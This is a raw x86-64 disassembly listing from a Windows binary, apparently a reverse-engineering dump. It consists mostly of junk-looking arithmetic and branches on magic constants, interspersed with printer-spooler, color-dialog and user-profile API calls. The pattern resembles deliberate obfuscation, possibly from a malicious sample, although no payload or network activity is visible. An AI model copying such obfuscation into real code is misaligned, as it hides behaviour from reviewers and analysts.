mov dword [rsp + 0x4d20], eax
cmp dword [rsp + 0x4d9c], 0xee0d
jae 0x140009db1
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d54], eax
movsx eax, word [rsp + 0x14c8]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
and eax, ecx
mov byte [rsp + 0x1dc], al
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x180], al
mov eax, dword [rsp + 0x4d18]
movzx ecx, al
mov eax, dword [rsp + 0x4d00]
shl eax, cl
mov dword [0x1401cd710], eax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
or eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8d40]
mov qword [rsp + 0x8da8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8da8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8ca0]
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d54], eax
mov eax, dword [rsp + 0x4d9c]
add eax, 0xa2
mov dword [rsp + 0x4d9c], eax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1de], al
movsx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d8]
add eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
sar eax, cl
mov byte [rsp + 0x1de], al
jmp 0x140009b29
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c4]
xor eax, ecx
mov word [rsp + 0x14d8], ax
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
and rcx, rax
mov rax, rcx
mov qword [0x1401cc010], rax
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x8db0], rax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x14d4]
movzx edx, word [rsp + 0x14cc]
add ecx, edx
cmp eax, ecx
jg 0x1401b288c
movzx eax, word [rsp + 0x14d4]
mov dword [rsp + 0x4db4], eax
cmp dword [rsp + 0x4db4], 0
je 0x140009e68
jmp 0x140009ecd
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc018], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
lea rax, [rsp + 0x14c4]
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov byte [rsp + 0x1e0], al
jmp 0x140009f0a
mov eax, dword [rsp + 0x4d18]
mov ecx, dword [rsp + 0x4da0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8d58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x4cf0]
mov ecx, dword [rsp + 0x4d54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8be8]
mov rcx, qword [rsp + 0x8bf8]
mov qword [rsp + 0x8dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8dc0]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1401cc010], rax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
xor eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov byte [rsp + 0x1de], al
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8d10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c08]
movzx ecx, al
mov rax, qword [rsp + 0x8c98]
sar rax, cl
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4d54], eax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4d00], eax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1ce]
shl eax, cl
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d8]
and eax, ecx
mov rcx, qword [rsp + 0x8db8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x14d0]
sub eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8d10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4cf0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1df], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14d4], ax
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x180]
or eax, ecx
mov byte [rsp + 0x1ce], al
mov eax, dword [rsp + 0x4d94]
add eax, 0xa7
mov dword [rsp + 0x4d94], eax
movsx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d54], eax
cmp dword [rsp + 0x4d94], 0xc49b
jbe 0x140009f0a
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4da0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov dword [rsp + 0x4db8], eax
cmp dword [rsp + 0x4db8], 0
je 0x14000a3f8
jmp 0x1401b27c2
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x8dc8], rax
cmp qword [rsp + 0x8dc8], 0
je 0x14000a41b
jmp 0x1401b26df
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x8dd0], rax
cmp qword [rsp + 0x8dd0], 0
je 0x14000a567
movabs rax, 0x35b23aa94063fe9b
cmp qword [rsp + 0x8dd0], rax
je 0x14000a453
jmp 0x1401b2682
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov edx, dword [rsp + 0x4da0]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
je 0x14000a4da
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
lea rcx, [rsp + 0x26c80]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x4dbc], eax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d0], ax
jmp 0x14000a562
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x121c]
add ecx, edx
cmp eax, ecx
jge 0x14000a562
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d54]
shl eax, cl
mov rcx, qword [rsp + 0x8d08]
mov edx, dword [rsp + 0x4cf0]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jbe 0x14000a562
movzx eax, word [0x1401cc018]
movzx ecx, word [rsp + 0x121c]
sar eax, cl
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rax]
call fcn.1401b3150
nop
jmp 0x1401b2682
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1df], al
cmp dword [rsp + 0x4d38], 0xf0f
ja 0x14000a8d4
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
sub eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov eax, dword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cf0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ca0]
mov rcx, qword [0x1401cc010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8d40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1df]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [rsp + 0x14d0]
sar eax, cl
mov word [rsp + 0x14c4], ax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x1db]
shl eax, cl
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [0x1401cc010]
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca0], rax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4d18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dd]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov byte [rsp + 0x1de], al
mov eax, dword [rsp + 0x4d38]
add eax, 0x69
mov dword [rsp + 0x4d38], eax
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
and eax, ecx
mov word [rsp + 0x14c4], ax
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc018], ax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
jmp 0x14000a583
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov edx, dword [rsp + 0x4d18]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14000aa00
lea r9, [rsp + 0x8da0]
lea r8, [rsp + 0x26c80]
lea rdx, [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x4da8], eax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov dword [rsp + 0x4dc0], eax
cmp dword [rsp + 0x4dc0], 0x37221109
je 0x14000a9dd
cmp dword [rsp + 0x4dc0], 0x5d81b351
je 0x14000a962
jmp 0x14000a9fe
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov byte [rsp + 0x1e0], al
movsx eax, word [rsp + 0x14c4]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8db8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x14d0]
imul ecx, edx
cmp eax, ecx
jle 0x14000a9bc
mov rcx, qword [0x1401cc010]
call fcn.1401b3150
nop
jmp 0x14000a9db
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
jmp 0x14000a9fe
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c08], rax
jmp 0x14000aa2d
mov rax, qword [0x1401cc010]
mov qword [rsp + 0x8dd8], rax
mov eax, dword [rsp + 0x4cf0]
mov dword [rsp + 0x4dc4], eax
lea rax, [rsp + 0x4d18]
mov qword [rsp + 0x8de0], rax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov dword [rsp + 0x4dc8], eax
cmp dword [rsp + 0x4dc8], 0
je 0x14000aa5a
cmp dword [rsp + 0x4dc8], 0x250ce9c8
je 0x14000aac6
jmp 0x14000ab2d
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [0x1401cc008]
shl eax, cl
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
movzx eax, word [rsp + 0x14d0]
mov word [0x1401cd714], ax
lea rax, [rsp + 0x14d0]
mov qword [rsp + 0x8de8], rax
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14d4], ax
jmp 0x14000ab2d
mov rcx, qword [rsp + 0x8bb0]
call sub.WINSPOOL.DRV_FindClosePrinterChangeNotification
mov dword [rsp + 0x4d70], eax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e0], al
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8d40]
mov qword [rsp + 0x8df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8df0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x8df8], rax
mov rax, qword [rsp + 0x8d58]
mov rax, qword [rax]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cf0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8df8]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4d54]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14000abce
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4da0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4da0]
add ecx, eax
mov eax, ecx
mov dword [0x1401cc01c], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov word [rsp + 0x14cc], ax
jmp 0x14000ac12
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8d10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8e00]
mov rdx, qword [rsp + 0x8dd8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000ac12
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rax]
call fcn.1401b3460
nop
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x4dcc], eax
cmp dword [rsp + 0x4dcc], 0x3f5ed5bb
je 0x14000ac46
cmp dword [rsp + 0x4dcc], 0x5e67c5dc
je 0x14000adbb
jmp 0x14000ae75
movsx eax, word [rsp + 0x14dc]
mov dword [rsp + 0x4dd0], eax
cmp dword [rsp + 0x4dd0], 0x420d
je 0x14000ac78
cmp dword [rsp + 0x4dd0], 0x4b0f
je 0x14000ad0d
jmp 0x14000adb6
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
and eax, ecx
mov word [rsp + 0x14c4], ax
movsx eax, byte [rsp + 0x1de]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
lea rax, [rsp + 0x270e0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xed
lea rax, [rsp + 0x4cec]
mov qword [rsp + 0x20], rax
mov r9d, 0xec
mov r8d, 0x15
mov edx, 0xfa
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x4dd4], eax
jmp 0x14000adb6
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x8e08], rax
movabs rax, 0x8a4467e1669b34
cmp qword [rsp + 0x8e08], rax
je 0x14000ad36
jmp 0x14000ad98
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1de]
xor eax, ecx
mov byte [rsp + 0x1df], al
lea r8, [rsp + 0x8d00]
mov rdx, qword [rsp + 0x8e10]
mov rcx, qword [rsp + 0x8c70]
call qword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
mov dword [rsp + 0x4d70], eax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
jmp 0x14000adb6
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
jmp 0x14000ae75
movzx eax, word [rsp + 0x14cc]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
movzx edx, word [0x1401cc018]
add ecx, edx
cmp eax, ecx
jl 0x14000ae38
lea rax, [rsp + 0x8d50]
mov qword [rsp + 0x20], rax
mov r9d, 0x7f
mov r8, qword [rsp + 0x8d90]
mov rdx, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8d88]
call sub.WINSPOOL.DRV_EnumPrinterKeyA
mov dword [rsp + 0x4d54], eax
movzx edx, word [rsp + 0x14cc]
mov rax, qword [rsp + 0x8d50]
movzx ecx, word [rax]
call fcn.1401b3400
nop
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4da0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8d70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8db8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x14c4]
movsx edx, word [rsp + 0x14dc]
sub ecx, edx
cmp eax, ecx
jge 0x14000afb4
lea rax, [rsp + 0x8ce8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x7a
lea rax, [rsp + 0x14d8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x14cc]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x26cd0]
mov qword [rsp + 0x20], rax
mov r9d, 0x93
mov r8, qword [rsp + 0x8d90]
mov edx, 0xbf
mov rcx, qword [rsp + 0x8d88]
call sub.WINSPOOL.DRV_EnumPrinterDataA
mov dword [rsp + 0x4dd8], eax
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
